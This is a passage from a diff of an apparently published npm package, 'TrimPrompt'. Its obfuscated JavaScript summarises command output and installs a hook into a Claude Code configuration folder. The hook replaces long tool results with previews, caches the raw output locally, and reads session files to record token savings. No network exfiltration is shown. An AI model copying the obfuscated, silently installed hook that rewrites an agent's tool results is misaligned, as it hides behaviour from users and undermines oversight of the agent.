_0xdae54e=(0x0,generic_1['smartCrushJson'])(_0x35105e);if(_0xdae54e)return _0xdae54e;}const _0x53b46d=filterJsonMinify(_0x35105e);if(_0x53b46d)return _0x53b46d;if(_0x48a4a8&&isFeatureEnabled(_0x2fcb03(0x121))){const _0x349260=path[_0x2fcb03(0x118)](_0x48a4a8)[_0x2fcb03(0xd5)](),_0x4ef5f8=[_0x2fcb03(0xfe),_0x2fcb03(0xed),_0x2fcb03(0xf4),_0x2fcb03(0xff),_0x2fcb03(0xd8),_0x2fcb03(0xc4),_0x2fcb03(0xf8),_0x2fcb03(0x140),'.c',_0x2fcb03(0x108),_0x2fcb03(0x144),'.rb','.swift',_0x2fcb03(0xdc)];if(_0x4ef5f8[_0x2fcb03(0x125)](_0x349260)){const _0x41732b=_0x35105e[_0x2fcb03(0x122)]('\x0a');if(_0x41732b[_0x2fcb03(0xdd)]>0x64){const _0x69da09=[];_0x69da09[_0x2fcb03(0x107)](_0x2fcb03(0xe7)+path[_0x2fcb03(0x137)](_0x48a4a8)+'\x20('+_0x41732b['length']+'\x20lines)'),_0x69da09[_0x2fcb03(0x107)]('');for(const _0x45e52a of _0x41732b){const _0x4ffae5=_0x45e52a['trim']();if(_0x4ffae5['startsWith'](_0x2fcb03(0xf9))||_0x4ffae5['startsWith'](_0x2fcb03(0xb9))||_0x4ffae5[_0x2fcb03(0xea)](_0x2fcb03(0x133))||_0x4ffae5[_0x2fcb03(0x13b)](/=\s*require\(/)||_0x4ffae5['startsWith'](_0x2fcb03(0x10f))||_0x4ffae5[_0x2fcb03(0xea)](_0x2fcb03(0x11e))||_0x4ffae5[_0x2fcb03(0xea)](_0x2fcb03(0xdb)))_0x69da09[_0x2fcb03(0x107)](_0x45e52a);else{if(_0x4ffae5[_0x2fcb03(0x13b)](/^(export\s+)?(async\s+)?function\s+/)||_0x4ffae5[_0x2fcb03(0x13b)](/^(export\s+)?(default\s+)?class\s+/)||_0x4ffae5[_0x2fcb03(0x13b)](/^(export\s+)?(type|interface|enum)\s+/)||_0x4ffae5[_0x2fcb03(0x13b)](/^(async\s+)?def\s+/)||_0x4ffae5[_0x2fcb03(0x13b)](/^func\s+/)||_0x4ffae5[_0x2fcb03(0x13b)](/^type\s+\w+\s+(struct|interface)/)||_0x4ffae5['match'](/^(pub\s+)?(async\s+)?fn\s+/)||_0x4ffae5[_0x2fcb03(0x13b)](/^(pub\s+)?(struct|enum|trait|impl)\s+/)||_0x4ffae5[_0x2fcb03(0x13b)](/^(public|private|protected|static)\s+/))_0x69da09[_0x2fcb03(0x107)](_0x45e52a);else{if(_0x4ffae5[_0x2fcb03(0xea)](_0x2fcb03(0xf0))&&!_0x4ffae5[_0x2fcb03(0x125)]('=>')&&_0x4ffae5['length']<0x78)_0x69da09['push'](_0x45e52a);else _0x4ffae5['startsWith']('@')&&!_0x4ffae5[_0x2fcb03(0xea)]('@param')&&!_0x4ffae5[_0x2fcb03(0xea)](_0x2fcb03(0x142))&&_0x69da09['push'](_0x45e52a);}}}_0x69da09[_0x2fcb03(0x107)](''),_0x69da09['push']('('+_0x41732b[_0x2fcb03(0xdd)]+'\x20lines\x20total,\x20'+(_0x69da09[_0x2fcb03(0xdd)]-0x2)+_0x2fcb03(0x134));const _0x50a268=_0x69da09['join']('\x0a');if(_0x50a268[_0x2fcb03(0xdd)]<_0x35105e[_0x2fcb03(0xdd)])return _0x50a268;}}}}catch{}let _0x2c0b65=(0x0,generic_1[_0x2fcb03(0xe9)])(_0x35105e);if(_0x48a4a8){const _0x25d0a7=path[_0x2fcb03(0x118)](_0x48a4a8)[_0x2fcb03(0xd5)]();_0x2c0b65=(0x0,generic_1[_0x2fcb03(0xbe)])(_0x2c0b65,_0x25d0a7);}const _0x418560=_0x2c0b65[_0x2fcb03(0x122)]('\x0a');if(_0x418560[_0x2fcb03(0xdd)]<=0x64)return _0x2c0b65;const _0x5480d4=[];return _0x5480d4['push'](..._0x418560[_0x2fcb03(0xcb)](0x0,0x32)),_0x5480d4[_0x2fcb03(0x107)](_0x2fcb03(0x12d)+(_0x418560[_0x2fcb03(0xdd)]-0x50)+_0x2fcb03(0xb7)),_0x5480d4[_0x2fcb03(0x107)](..._0x418560['slice'](-0x1e)),_0x5480d4[_0x2fcb03(0x107)]('\x0a('+_0x418560[_0x2fcb03(0xdd)]+_0x2fcb03(0x111)),_0x5480d4[_0x2fcb03(0xc5)]('\x0a');}function filterGrep(_0x46c930){const _0x5639ee=a0_0x10ff8c,_0x3a7e0a=_0x46c930[_0x5639ee(0x122)]('\x0a')['filter'](_0x51cf73=>_0x51cf73[_0x5639ee(0xe1)]()[_0x5639ee(0xdd)]>0x0);if(_0x3a7e0a[_0x5639ee(0xdd)]===0x0)return _0x5639ee(0x147);if(_0x3a7e0a[_0x5639ee(0xdd)]<=0x32)return _0x46c930['trim']();const _0x56cce3={},_0x3daa7f=[];for(const _0x48f462 of _0x3a7e0a){const _0x2c8a3c=_0x48f462['indexOf'](':');if(_0x2c8a3c>0x0&&_0x2c8a3c<0xc8){const _0x4bf8b8=_0x48f462[_0x5639ee(0x148)](0x0,_0x2c8a3c);if(_0x4bf8b8['includes']('/')||_0x4bf8b8[_0x5639ee(0x125)]('\x5c')||_0x4bf8b8[_0x5639ee(0x125)]('.')){if(!_0x56cce3[_0x4bf8b8])_0x56cce3[_0x4bf8b8]=[];_0x56cce3[_0x4bf8b8][_0x5639ee(0x107)](_0x48f462[_0x5639ee(0x148)](_0x2c8a3c+0x1)[_0x5639ee(0xe1)]());continue;}}_0x3daa7f[_0x5639ee(0x107)](_0x48f462);}const _0x371a75=[],_0x45942e=Object[_0x5639ee(0x116)](_0x56cce3);if(_0x45942e[_0x5639ee(0xdd)]>0x0){const _0x42672d=0x14,_0x185e18=_0x45942e[_0x5639ee(0xcb)](0x0,_0x42672d);for(const _0x3a39b2 of _0x185e18){const _0x95540e=_0x56cce3[_0x3a39b2];if(_0x95540e[_0x5639ee(0xdd)]<=0x3)for(const _0x2d0e95 of _0x95540e){_0x371a75[_0x5639ee(0x107)](_0x3a39b2+':\x20'+_0x2d0e95);}else _0x371a75[_0x5639ee(0x107)](_0x3a39b2+':\x20'+_0x95540e[0x0]),_0x371a75[_0x5639ee(0x107)](_0x3a39b2+':\x20...\x20('+_0x95540e[_0x5639ee(0xdd)]+_0x5639ee(0x124));}_0x45942e[_0x5639ee(0xdd)]>_0x42672d&&_0x371a75[_0x5639ee(0x107)](_0x5639ee(0xd1)+(_0x45942e['length']-_0x42672d)+_0x5639ee(0x119));}if(_0x3daa7f[_0x5639ee(0xdd)]>0x0){const _0x3e45b4=0x1e;_0x371a75[_0x5639ee(0x107)](..._0x3daa7f['slice'](0x0,_0x3e45b4)),_0x3daa7f[_0x5639ee(0xdd)]>_0x3e45b4&&_0x371a75[_0x5639ee(0x107)](_0x5639ee(0xd1)+(_0x3daa7f[_0x5639ee(0xdd)]-_0x3e45b4)+'\x20more\x20matches');}const _0xa0e1d8=_0x3a7e0a[_0x5639ee(0xdd)];return _0x371a75['push']('\x0a('+_0xa0e1d8+_0x5639ee(0x139)+(_0x45942e['length']||'?')+_0x5639ee(0x11b)),_0x371a75[_0x5639ee(0xc5)]('\x0a');}function a0_0x30d5(_0x16c18b,_0xe06e31){_0x16c18b=_0x16c18b-0xb0;const _0x8f002e=a0_0x8f00();let _0x30d5e4=_0x8f002e[_0x16c18b];return _0x30d5e4;}function filterFind(_0x49d12c){const _0x322873=a0_0x10ff8c,_0x330db2=_0x49d12c['split']('\x0a')[_0x322873(0xc1)](_0x5a5535=>_0x5a5535[_0x322873(0xe1)]()[_0x322873(0xdd)]>0x0);if(_0x330db2[_0x322873(0xdd)]===0x0)return _0x322873(0x11f);if(_0x330db2[_0x322873(0xdd)]<=0x32)return _0x49d12c['trim']();const _0x342675={};for(const _0x21b733 of _0x330db2){const _0x423531=path[_0x322873(0x104)](_0x21b733[_0x322873(0xe1)]())||'.';_0x342675[_0x423531]=(_0x342675[_0x423531]||0x0)+0x1;}const _0x519e04=Object[_0x322873(0xdf)](_0x342675)[_0x322873(0xde)]((_0x274136,_0xc01b8f)=>_0xc01b8f[0x1]-_0x274136[0x1]),_0x4674a4=[_0x330db2[_0x322873(0xdd)]+_0x322873(0x13e)+_0x519e04[_0x322873(0xdd)]+_0x322873(0xfa),''],_0x47ce4d=0x1e;for(const [_0x32b61f,_0x3b4f07]of _0x519e04[_0x322873(0xcb)](0x0,_0x47ce4d)){_0x4674a4[_0x322873(0x107)]('\x20\x20'+_0x32b61f+_0x322873(0xe2)+_0x3b4f07+'\x20files)');}return _0x519e04[_0x322873(0xdd)]>_0x47ce4d&&_0x4674a4[_0x322873(0x107)]('\x20\x20...\x20+'+(_0x519e04[_0x322873(0xdd)]-_0x47ce4d)+_0x322873(0xf1)),_0x4674a4[_0x322873(0xc5)]('\x0a');}
|
package/hooks/claude-hook.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';var a0_0x5bbc60=a0_0x5e20;(function(_0x17247b,_0x3667d3){var _0x25b7bc=a0_0x5e20,_0x24b5ab=_0x17247b();while(!![]){try{var _0xbae4e4=parseInt(_0x25b7bc(0x180))/0x1*(parseInt(_0x25b7bc(0x194))/0x2)+-parseInt(_0x25b7bc(0x17e))/0x3+parseInt(_0x25b7bc(0x18f))/0x4+-parseInt(_0x25b7bc(0x17f))/0x5*(parseInt(_0x25b7bc(0x17c))/0x6)+-parseInt(_0x25b7bc(0x192))/0x7+-parseInt(_0x25b7bc(0x174))/0x8*(-parseInt(_0x25b7bc(0x188))/0x9)+parseInt(_0x25b7bc(0x186))/0xa*(parseInt(_0x25b7bc(0x17b))/0xb);if(_0xbae4e4===_0x3667d3)break;else _0x24b5ab['push'](_0x24b5ab['shift']());}catch(_0x408d82){_0x24b5ab['push'](_0x24b5ab['shift']());}}}(a0_0x387a,0x8eacd));var __createBinding=this&&this[a0_0x5bbc60(0x175)]||(Object['create']?function(_0x59cf63,_0x57b318,_0x1e620b,_0x387dc9){var _0x10e119=a0_0x5bbc60;if(_0x387dc9===undefined)_0x387dc9=_0x1e620b;var _0x1a1cf9=Object[_0x10e119(0x187)](_0x57b318,_0x1e620b);(!_0x1a1cf9||('get'in _0x1a1cf9?!_0x57b318[_0x10e119(0x191)]:_0x1a1cf9['writable']||_0x1a1cf9[_0x10e119(0x17a)]))&&(_0x1a1cf9={'enumerable':!![],'get':function(){return _0x57b318[_0x1e620b];}}),Object[_0x10e119(0x184)](_0x59cf63,_0x387dc9,_0x1a1cf9);}:function(_0x2c18f8,_0x4d636b,_0x24d8ec,_0x1bb9c8){if(_0x1bb9c8===undefined)_0x1bb9c8=_0x24d8ec;_0x2c18f8[_0x1bb9c8]=_0x4d636b[_0x24d8ec];}),__setModuleDefault=this&&this[a0_0x5bbc60(0x177)]||(Object['create']?function(_0x2c7063,_0x4b2cb0){Object['defineProperty'](_0x2c7063,'default',{'enumerable':!![],'value':_0x4b2cb0});}:function(_0xf270b7,_0x1c6935){_0xf270b7['default']=_0x1c6935;}),__importStar=this&&this[a0_0x5bbc60(0x18a)]||(function(){var _0x18c00f=function(_0x62d080){var _0x420867=a0_0x5e20;return _0x18c00f=Object[_0x420867(0x183)]||function(_0x3aaf20){var _0x35a52d=_0x420867,_0x132fd0=[];for(var _0x1e6002 in _0x3aaf20)if(Object[_0x35a52d(0x18e)][_0x35a52d(0x172)][_0x35a52d(0x189)](_0x3aaf20,_0x1e6002))_0x132fd0[_0x132fd0[_0x35a52d(0x18b)]]=_0x1e6002;return _0x132fd0;},_0x18c00f(_0x62d080);};return function(_0x1913dd){var _0x14e83c=a0_0x5e20;if(_0x1913dd&&_0x1913dd[_0x14e83c(0x191)])return _0x1913dd;var _0x11562d={};if(_0x1913dd!=null){for(var _0x2cefd8=_0x18c00f(_0x1913dd),_0x297e2b=0x0;_0x297e2b<_0x2cefd8['length'];_0x297e2b++)if(_0x2cefd8[_0x297e2b]!=='default')__createBinding(_0x11562d,_0x1913dd,_0x2cefd8[_0x297e2b]);}return __setModuleDefault(_0x11562d,_0x1913dd),_0x11562d;};}());function a0_0x387a(){var _0x1b45b2=['installClaudeHooks','configurable','4775375pdAjDJ','24jtEnMr','utf8','3374091VVGuRf','1196270zsufWi','1043909NlGOsX','writeFileSync','.claude','getOwnPropertyNames','defineProperty','//\x20TrimPrompt\x20Native\x20PostToolUse\x20Hook\x20for\x20Claude\x20Code\x0aconst\x20fs\x20=\x20require(\x27fs\x27);\x0aconst\x20path\x20=\x20require(\x27path\x27);\x0aconst\x20os\x20=\x20require(\x27os\x27);\x0a\x0amodule.exports\x20=\x20async\x20function\x20postToolUse(event)\x20{\x0a\x20\x20try\x20{\x0a\x20\x20\x20\x20if\x20(!event\x20||\x20!event.result)\x20return\x20event;\x0a\x20\x20\x20\x20let\x20contentStr\x20=\x20typeof\x20event.result\x20===\x20\x27string\x27\x20?\x20event.result\x20:\x20JSON.stringify(event.result);\x0a\x20\x20\x20\x20if\x20(contentStr.length\x20>\x20500)\x20{\x0a\x20\x20\x20\x20\x20\x20const\x20baseDir\x20=\x20path.join(os.homedir(),\x20\x27.trimprompt\x27);\x0a\x20\x20\x20\x20\x20\x20const\x20cacheDir\x20=\x20path.join(baseDir,\x20\x27cache\x27);\x0a\x20\x20\x20\x20\x20\x20if\x20(!fs.existsSync(cacheDir))\x20fs.mkdirSync(cacheDir,\x20{\x20recursive:\x20true\x20});\x0a\x20\x20\x20\x20\x20\x20const\x20chunkId\x20=\x20\x27chunk_\x27\x20+\x20Math.random().toString(36).substring(2,\x2011);\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20const\x20rawTokens\x20=\x20Math.ceil(contentStr.length\x20/\x204);\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20const\x20snippet\x20=\x20contentStr.substring(0,\x20200).replace(/\x5cn/g,\x20\x27\x20\x27);\x0a\x20\x20\x20\x20\x20\x20const\x20replacement\x20=\x20`>\x20[!NOTE]\x5cn>\x20**[TrimPrompt\x20Context\x20Offloaded]**\x20Raw\x20tool\x20output\x20(${contentStr.length.toLocaleString()}\x20chars)\x20side-cached\x20locally.\x5cn>\x20Preview:\x20${snippet}...\x5cn>\x20Retrieve\x20raw:\x20\x5c`trim\x20retrieve\x20${chunkId}\x5c``;\x0a\x20\x20\x20\x20\x20\x20const\x20compressedTokens\x20=\x20Math.ceil(replacement.length\x20/\x204);\x0a\x20\x20\x20\x20\x20\x20const\x20savedTokens\x20=\x20Math.max(0,\x20rawTokens\x20-\x20compressedTokens);\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20fs.writeFileSync(path.join(cacheDir,\x20chunkId\x20+\x20\x27.json\x27),\x20JSON.stringify({\x0a\x20\x20\x20\x20\x20\x20\x20\x20chunk_id:\x20chunkId,\x0a\x20\x20\x20\x20\x20\x20\x20\x20raw_tokens:\x20rawTokens,\x0a\x20\x20\x20\x20\x20\x20\x20\x20compressed_tokens:\x20compressedTokens,\x0a\x20\x20\x20\x20\x20\x20\x20\x20created_at:\x20new\x20Date().toISOString(),\x0a\x20\x20\x20\x20\x20\x20\x20\x20last_accessed_at:\x20new\x20Date().toISOString(),\x0a\x20\x20\x20\x20\x20\x20\x20\x20summary:\x20`Summary:\x20Tool\x20result\x20offloaded\x20(${rawTokens}\x20tokens).`,\x0a\x20\x20\x20\x20\x20\x20\x20\x20raw_payload:\x20contentStr\x0a\x20\x20\x20\x20\x20\x20},\x20null,\x202));\x0a\x0a\x20\x20\x20\x20\x20\x20if\x20(typeof\x20event.result\x20===\x20\x27string\x27)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20event.result\x20=\x20replacement;\x0a\x20\x20\x20\x20\x20\x20}\x20else\x20if\x20(event.result\x20&&\x20typeof\x20event.result\x20===\x20\x27object\x27)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20event.result.content\x20=\x20replacement;\x0a\x20\x20\x20\x20\x20\x20}\x0a\x0a\x20\x20\x20\x20\x20\x20//\x20Update\x20sessions_state.json\x20with\x20hook\x20savings\x0a\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20statePath\x20=\x20path.join(baseDir,\x20\x27sessions_state.json\x27);\x0a\x20\x20\x20\x20\x20\x20\x20\x20let\x20state\x20=\x20{};\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(fs.existsSync(statePath))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x20state\x20=\x20JSON.parse(fs.readFileSync(statePath,\x20\x27utf8\x27))\x20||\x20{};\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20//\x20Find\x20latest\x20session\x20file\x20for\x20\x27claude\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20claudeDirs\x20=\x20[\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20path.join(os.homedir(),\x20\x27.claude\x27,\x20\x27projects\x27),\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20path.join(os.homedir(),\x20\x27.claude\x27,\x20\x27history\x27)\x0a\x20\x20\x20\x20\x20\x20\x20\x20];\x0a\x20\x20\x20\x20\x20\x20\x20\x20let\x20latestFullPath\x20=\x20null;\x0a\x20\x20\x20\x20\x20\x20\x20\x20let\x20latestTime\x20=\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20for\x20(const\x20dir\x20of\x20claudeDirs)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(fs.existsSync(dir))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20scanDir\x20=\x20(currentDir,\x20depth\x20=\x200)\x20=>\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(depth\x20>\x206)\x20return;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20entries\x20=\x20fs.readdirSync(currentDir,\x20{\x20withFileTypes:\x20true\x20});\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20for\x20(const\x20entry\x20of\x20entries)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20full\x20=\x20path.join(currentDir,\x20entry.name);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(entry.isDirectory())\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20scanDir(full,\x20depth\x20+\x201);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20else\x20if\x20(entry.isFile()\x20&&\x20!entry.name.startsWith(\x27.\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(entry.name.endsWith(\x27.jsonl\x27)\x20||\x20entry.name.endsWith(\x27.json1\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20stat\x20=\x20fs.statSync(full);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(stat.mtimeMs\x20>\x20latestTime)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20latestTime\x20=\x20stat.mtimeMs;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20latestFullPath\x20=\x20full;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20scanDir(dir);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(latestFullPath)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20existing\x20=\x20state[latestFullPath]\x20||\x20{};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20prevHook\x20=\x20existing.hookSavedTokens\x20||\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20newHook\x20=\x20prevHook\x20+\x20savedTokens;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20finalOfficial\x20=\x20existing.officialCompactSaved\x20||\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20finalAuto\x20=\x20existing.autoCompactSaved\x20||\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20state[latestFullPath]\x20=\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20lineCount:\x20existing.lineCount\x20||\x201,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20activeSavedTokens:\x20finalOfficial\x20+\x20finalAuto\x20+\x20newHook,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20sideCacheSaved:\x20existing.sideCacheSaved\x20||\x200,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20officialCompactSaved:\x20finalOfficial,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20autoCompactSaved:\x20finalAuto,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20hookSavedTokens:\x20newHook\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20fs.writeFileSync(statePath,\x20JSON.stringify(state,\x20null,\x202),\x20\x27utf8\x27);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20\x20\x20}\x0a\x20\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20return\x20event;\x0a};\x0a','10mvHNUE','getOwnPropertyDescriptor','261AFLJGo','call','__importStar','length','homedir','existsSync','prototype','4432236cUwGoR','post_tool_use.js','__esModule','7426510QSKKWM','mkdirSync','2cPgToQ','hasOwnProperty','path','314744ZYychr','__createBinding','hooks','__setModuleDefault','join'];a0_0x387a=function(){return _0x1b45b2;};return a0_0x387a();}function a0_0x5e20(_0x33b256,_0x48fbcd){_0x33b256=_0x33b256-0x172;var _0x387a98=a0_0x387a();var _0x5e2017=_0x387a98[_0x33b256];return _0x5e2017;}Object[a0_0x5bbc60(0x184)](exports,a0_0x5bbc60(0x191),{'value':!![]}),exports[a0_0x5bbc60(0x179)]=installClaudeHooks;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x5bbc60(0x173))),os=__importStar(require('os'));function installClaudeHooks(){var _0x10cf6a=a0_0x5bbc60;try{const _0x6a29bc=path[_0x10cf6a(0x178)](os[_0x10cf6a(0x18c)](),_0x10cf6a(0x182),_0x10cf6a(0x176));!fs[_0x10cf6a(0x18d)](_0x6a29bc)&&fs[_0x10cf6a(0x193)](_0x6a29bc,{'recursive':!![]});const _0x487fd0=path[_0x10cf6a(0x178)](_0x6a29bc,_0x10cf6a(0x190)),_0x5ccbc8=_0x10cf6a(0x185);fs[_0x10cf6a(0x181)](_0x487fd0,_0x5ccbc8,_0x10cf6a(0x17d));}catch(_0x14c7a6){}}
|
|
1
|
+
'use strict';var a0_0x5cab57=a0_0x3ea3;(function(_0xb0d83,_0x235168){var _0x44cb03=a0_0x3ea3,_0x1bd6f5=_0xb0d83();while(!![]){try{var _0x4d42e0=-parseInt(_0x44cb03(0x13d))/0x1*(-parseInt(_0x44cb03(0x144))/0x2)+parseInt(_0x44cb03(0x145))/0x3+parseInt(_0x44cb03(0x141))/0x4+parseInt(_0x44cb03(0x12f))/0x5*(parseInt(_0x44cb03(0x12e))/0x6)+parseInt(_0x44cb03(0x131))/0x7*(-parseInt(_0x44cb03(0x12d))/0x8)+parseInt(_0x44cb03(0x147))/0x9*(parseInt(_0x44cb03(0x134))/0xa)+-parseInt(_0x44cb03(0x139))/0xb;if(_0x4d42e0===_0x235168)break;else _0x1bd6f5['push'](_0x1bd6f5['shift']());}catch(_0x2d12fc){_0x1bd6f5['push'](_0x1bd6f5['shift']());}}}(a0_0x4487,0x39829));var __createBinding=this&&this[a0_0x5cab57(0x12c)]||(Object[a0_0x5cab57(0x12b)]?function(_0x526bce,_0x2fdcd6,_0x1bcc69,_0x57f13){var _0x5f46e6=a0_0x5cab57;if(_0x57f13===undefined)_0x57f13=_0x1bcc69;var _0x5c7572=Object[_0x5f46e6(0x13a)](_0x2fdcd6,_0x1bcc69);(!_0x5c7572||(_0x5f46e6(0x12a)in _0x5c7572?!_0x2fdcd6[_0x5f46e6(0x146)]:_0x5c7572[_0x5f46e6(0x137)]||_0x5c7572[_0x5f46e6(0x133)]))&&(_0x5c7572={'enumerable':!![],'get':function(){return _0x2fdcd6[_0x1bcc69];}}),Object[_0x5f46e6(0x13c)](_0x526bce,_0x57f13,_0x5c7572);}:function(_0x10ce05,_0x53fef5,_0x36e3f2,_0x3ad767){if(_0x3ad767===undefined)_0x3ad767=_0x36e3f2;_0x10ce05[_0x3ad767]=_0x53fef5[_0x36e3f2];}),__setModuleDefault=this&&this[a0_0x5cab57(0x136)]||(Object[a0_0x5cab57(0x12b)]?function(_0x31598e,_0x5e54c4){var _0x18b990=a0_0x5cab57;Object[_0x18b990(0x13c)](_0x31598e,_0x18b990(0x148),{'enumerable':!![],'value':_0x5e54c4});}:function(_0x3c1de7,_0x43db2a){var _0x277e83=a0_0x5cab57;_0x3c1de7[_0x277e83(0x148)]=_0x43db2a;}),__importStar=this&&this[a0_0x5cab57(0x126)]||(function(){var _0xe26c48=function(_0x29d78e){var _0x2db9a5=a0_0x3ea3;return _0xe26c48=Object[_0x2db9a5(0x13b)]||function(_0x11ddea){var _0x44a100=_0x2db9a5,_0x519708=[];for(var _0x6b0cf7 in _0x11ddea)if(Object[_0x44a100(0x130)][_0x44a100(0x13e)][_0x44a100(0x143)](_0x11ddea,_0x6b0cf7))_0x519708[_0x519708[_0x44a100(0x140)]]=_0x6b0cf7;return _0x519708;},_0xe26c48(_0x29d78e);};return function(_0x73d38f){var _0x40b2c9=a0_0x3ea3;if(_0x73d38f&&_0x73d38f[_0x40b2c9(0x146)])return _0x73d38f;var _0x535d9d={};if(_0x73d38f!=null){for(var _0x1f79dd=_0xe26c48(_0x73d38f),_0x524c30=0x0;_0x524c30<_0x1f79dd[_0x40b2c9(0x140)];_0x524c30++)if(_0x1f79dd[_0x524c30]!==_0x40b2c9(0x148))__createBinding(_0x535d9d,_0x73d38f,_0x1f79dd[_0x524c30]);}return __setModuleDefault(_0x535d9d,_0x73d38f),_0x535d9d;};}());function a0_0x4487(){var _0x59cc81=['length','489704jdOvCb','.claude','call','724ssDzWZ','329115haDWgQ','__esModule','810657GcbZvq','default','installClaudeHooks','hooks','__importStar','post_tool_use.js','path','//\x20TrimPrompt\x20Native\x20PostToolUse\x20Hook\x20for\x20Claude\x20Code\x0aconst\x20fs\x20=\x20require(\x27fs\x27);\x0aconst\x20path\x20=\x20require(\x27path\x27);\x0aconst\x20os\x20=\x20require(\x27os\x27);\x0a\x0amodule.exports\x20=\x20async\x20function\x20postToolUse(event)\x20{\x0a\x20\x20try\x20{\x0a\x20\x20\x20\x20if\x20(!event\x20||\x20!event.result)\x20return\x20event;\x0a\x20\x20\x20\x20let\x20contentStr\x20=\x20typeof\x20event.result\x20===\x20\x27string\x27\x20?\x20event.result\x20:\x20JSON.stringify(event.result);\x0a\x20\x20\x20\x20if\x20(contentStr.length\x20>\x20500)\x20{\x0a\x20\x20\x20\x20\x20\x20const\x20baseDir\x20=\x20path.join(os.homedir(),\x20\x27.trimprompt\x27);\x0a\x20\x20\x20\x20\x20\x20const\x20cacheDir\x20=\x20path.join(baseDir,\x20\x27cache\x27);\x0a\x20\x20\x20\x20\x20\x20if\x20(!fs.existsSync(cacheDir))\x20fs.mkdirSync(cacheDir,\x20{\x20recursive:\x20true\x20});\x0a\x20\x20\x20\x20\x20\x20const\x20chunkId\x20=\x20\x27chunk_\x27\x20+\x20Math.random().toString(36).substring(2,\x2011);